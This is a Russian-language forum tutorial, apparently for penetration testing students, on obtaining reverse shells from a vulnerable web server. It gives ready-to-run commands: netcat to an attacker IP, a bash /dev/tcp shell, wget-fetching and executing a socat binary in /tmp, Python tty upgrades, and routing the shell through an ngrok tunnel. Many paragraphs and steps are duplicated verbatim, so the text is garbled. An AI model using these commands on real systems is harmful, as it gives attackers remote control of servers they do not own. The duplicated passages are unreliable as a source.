Доброго времени суток, уважаемые форумчане!
Очередная статья будет посвящена еще одному проблемному вопросу, с которым часто приходится сталкиваться студентам курса WAPT при решении задач – это получение обратного шелла. Нет, в принципе вопрос не сложный и многие наверняка сталкивались с таким замечательным инструментом, как Netcat и может быть даже получали с его помощью прямой и обратный шелл, а кроме того, это неплохо показано в видеоматериале к курсу. Но может так случится, что на удаленном сервере не будет Netcat’а и соответственно соединение не будет установлено.
Для начала немного теории. Что же такое шелл и зачем он нужен. Shell – так называют доступ к оболочке удалённой системы. Относительно информационной безопасности, так называют доступ к оболочке, который обеспечивается бэкдором. Шеллы бывают двух видов: Bind Shell (прямой) и Reverse Shell (обратный). Они различаются особенностями подключения. Первый (прямой) – просто Shell – когда бэкдор прослушивает порт на удалённом компьютере в ожидании, когда на этот порт придёт подключение. Второй (обратный) – означает, что с удалённого компьютера делается запрос на машину атакующего, на которой, в свою очередь, уже запущена программа для управления бэкдором – которая также ожидает подключения от компьютера «жертвы».
Оба они имеют разные случаи использования. Прямой шелл используется, если у компьютера жертвы белый IP адрес (без использования NAT). Обратный шелл используется, если удалённый компьютер находится за NAT (имеет только локальный IP адрес), либо файрвол на удаленной машине блокирует входящие соединения – большинство файрволов настроены пропускать исходящие соединения. Тот вариант, когда исходящие соединения также блокируются мы рассматривать не будем.
Я не ставлю своей целью показать все возможные варианты получения шелла на удаленной машине, это достаточно объемный вопрос, и явно не уложится в формат данной статьи. Мы рассмотрим несколько вариантов создания обратного соединения с использованием некоторых инструментов, которые, в большинстве случаев, присутствуют на удаленном сервере.
Для начала немного теории. Что же такое шелл и зачем он нужен. Shell – так называют доступ к оболочке удалённой системы. Относительно информационной безопасности, так называют доступ к оболочке, который обеспечивается бэкдором. Шеллы бывают двух видов: Bind Shell (прямой) и Reverse Shell (обратный). Они различаются особенностями подключения. Первый (прямой) – просто Shell – когда бэкдор прослушивает порт на удалённом компьютере в ожидании, когда на этот порт придёт подключение. Второй (обратный) – означает, что с удалённого компьютера делается запрос на машину атакующего, на которой, в свою очередь, уже запущена программа для управления бэкдором – которая также ожидает подключения от компьютера «жертвы».
Оба они имеют разные случаи использования. Прямой шелл используется, если у компьютера жертвы белый IP адрес (без использования NAT). Обратный шелл используется, если удалённый компьютер находится за NAT (имеет только локальный IP адрес), либо файрвол на удаленной машине блокирует входящие соединения – большинство файрволов настроены пропускать исходящие соединения. Тот вариант, когда исходящие соединения также блокируются мы рассматривать не будем.
Я не ставлю своей целью показать все возможные варианты получения шелла на удаленной машине, это достаточно объемный вопрос, и явно не уложится в формат данной статьи. Мы рассмотрим несколько вариантов создания обратного соединения с использованием некоторых инструментов, которые, в большинстве случаев, присутствуют на удаленном сервере.
Netcat
Мы все-таки затронем этот замечательный инструмент, потому что на его примере удобно показывать процедуру получения доступа к командной оболочке удаленной системы, несмотря на то, что вероятность присутствия его на сервере крайне низка. А почему? Да потому что Netcat позволяет создавать TCP и UDP соединения с любого на любой порт, умеет "слушать" входящие соединения, может сканировать порты, разрешать DNS-запросы, посылать любые команды со стандартного ввода, выполнять заранее предопределенные действия, в ответ на соединение, которое слушает утилита, делать Hex-дамп отправленных и полученных данных и много-много чего еще... Как видим, не зря эта программа получила статус «швейцарского армейского ножа» и вряд ли нормальному админу захочется иметь такого «троянского коня» на контролируемом серваке.
Итак, чтобы получить Reverse shell с удаленной машины необходимо на уязвимом сайте запустить команду nc 123.456.789.321 (IP нашей машины) 4444 (порт), а в своем терминале nc -lnvp 4444. Если вам интересно знать, что значат все эти ключи lnvp, то почитайте мануал к инструменту.
Как мы уже отметили вероятность присутствия этой программы на удаленном сервере достаточно низкая. А что же там может быть с высокой долей вероятности. Наверное, стандартные оболочки. Одна из них Bash.
Итак, чтобы получить Reverse shell с удаленной машины необходимо на уязвимом сайте запустить команду nc 123.456.789.321 (IP нашей машины) 4444 (порт), а в своем терминале nc -lnvp 4444. Если вам интересно знать, что значат все эти ключи lnvp, то почитайте мануал к инструменту.
Как мы уже отметили вероятность присутствия этой программы на удаленном сервере достаточно низкая. А что же там может быть с высокой долей вероятности. Наверное, стандартные оболочки. Одна из них Bash.
Bash
К примеру, имеем Обычный php-shell, который не очень удобен для перемещения по файловой системе удаленного сервера. Пробуем поднять реверс-шелл через Netcat:
Разумеется, nc на сервере отсутствует
Разумеется, nc на сервере отсутствует
Не стоит раньше времени биться головой об стену, попробуем то, что там может быть. Заходим на очень хороший сайт:
Ссылка скрыта от гостей
и выбираем то, что нам нужновводим в нашу командную строку: bash -c 'exec bash -i &>/dev/tcp/IP/4444 <&1'
получаем обратное соединение
Если есть желание, то можно превратить наш полученный шелл в интерактивный (TTY) шелл.
Не буду сейчас объяснять, что это такое и $@х он нужен, захотите - сами нагуглите. Могу сказать одно, без TTY вы не сможете сменить пользователя.
Как видим, система не рассматривает этот шел как терминал.
Самый простой способ привести наш шелл в состояние TTY - это запустить команду python -c 'import pty; pty.spawn("/bin/bash")', но вот же зараза, питона на сервере тоже может не быть
Можно конечно нанять людей и заказать, чтобы умного админа порезали на ремни, а можно поступить проще – обратиться еще к одному достойному инструменту - SOCAT.
Не буду сейчас объяснять, что это такое и $@х он нужен, захотите - сами нагуглите. Могу сказать одно, без TTY вы не сможете сменить пользователя.
Как видим, система не рассматривает этот шел как терминал.
Самый простой способ привести наш шелл в состояние TTY - это запустить команду python -c 'import pty; pty.spawn("/bin/bash")', но вот же зараза, питона на сервере тоже может не быть
Можно конечно нанять людей и заказать, чтобы умного админа порезали на ремни, а можно поступить проще – обратиться еще к одному достойному инструменту - SOCAT.
SOCAT
Идем на наш любимый сайт:
Ссылка скрыта от гостей
и ищем формат команды для SOCAT:SOCAT на сервере скорее всего тоже отсутствует, но его можно загрузить на удаленный сервер через Github. Как правило, на любой Linux-машине есть папка со всеми правами для всех пользователей, это каталог /tmp. Поэтому просто запускаем следующую команду в очередном нашем терминале: socat -,raw,echo=0 tcp-listen:5555
а на сервере: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:5555
(если одной командой не проходит можно разделить ее на составляющие).
и получаем:
Как видите, у нас теперь tty реверс-шелл. На вышеуказанном сайте можно найти и другие варианты получения прямого и обратного шелла, а также много других интересных плюшек таких как, например, повышение привилегий в Linux-системах и др.
И еще один момент, на который я бы хотел обратить внимание – это получение реверс-шелла, если у вас отсутствует «белый» IP-адрес. Куда направлять соединение? На помощь приходит сервис ngrok –
(если одной командой не проходит можно разделить ее на составляющие).
и получаем:
Как видите, у нас теперь tty реверс-шелл. На вышеуказанном сайте можно найти и другие варианты получения прямого и обратного шелла, а также много других интересных плюшек таких как, например, повышение привилегий в Linux-системах и др.
И еще один момент, на который я бы хотел обратить внимание – это получение реверс-шелла, если у вас отсутствует «белый» IP-адрес. Куда направлять соединение? На помощь приходит сервис ngrok –
Ссылка скрыта от гостей
.
NGROK
Для начала надо зарегистрироваться или использовать аккаунты Google или Facebook. Затем скачиваем программу под нашу систему:
Закидываем программу в удобное место и изучаем help – ngrok –h:
1. Запускаем ngrok (ngrok tcp 4444). Наш реверс-шелл будет принимать входящее соединение из Интернета и направлять его на порт 4444.
2. Запускаем netcat (nc -lnvp 4444). NC будет слушать порт 4444 и когда на него будет перенаправлено соединение и порт откроется, то запустится shell-оболочка.
1. Запускаем ngrok (ngrok tcp 4444). Наш реверс-шелл будет принимать входящее соединение из Интернета и направлять его на порт 4444.
2. Запускаем netcat (nc -lnvp 4444). NC будет слушать порт 4444 и когда на него будет перенаправлено соединение и порт откроется, то запустится shell-оболочка.
3. Запускаем один из реверс-шеллов. Для примера используем тот же Netcat: nc 2.tcp.ngrok.io 16977 -e /bin/bash или Bash: bash -c 'exec bash -i &>/dev/tcp/2.tcp.ngrok.io /16977 <&1'.
4. В терминале на атакующей машине откроется соединение
5. Используем Python для получения интерактивного tty шелла python3 -c 'import pty; pty.spawn("/bin/bash")'
4. В терминале на атакующей машине откроется соединение
5. Используем Python для получения интерактивного tty шелла python3 -c 'import pty; pty.spawn("/bin/bash")'
Вуа-ля!
На этом остановимся. Спасибо за внимание!
На этом остановимся. Спасибо за внимание!
Последнее редактирование: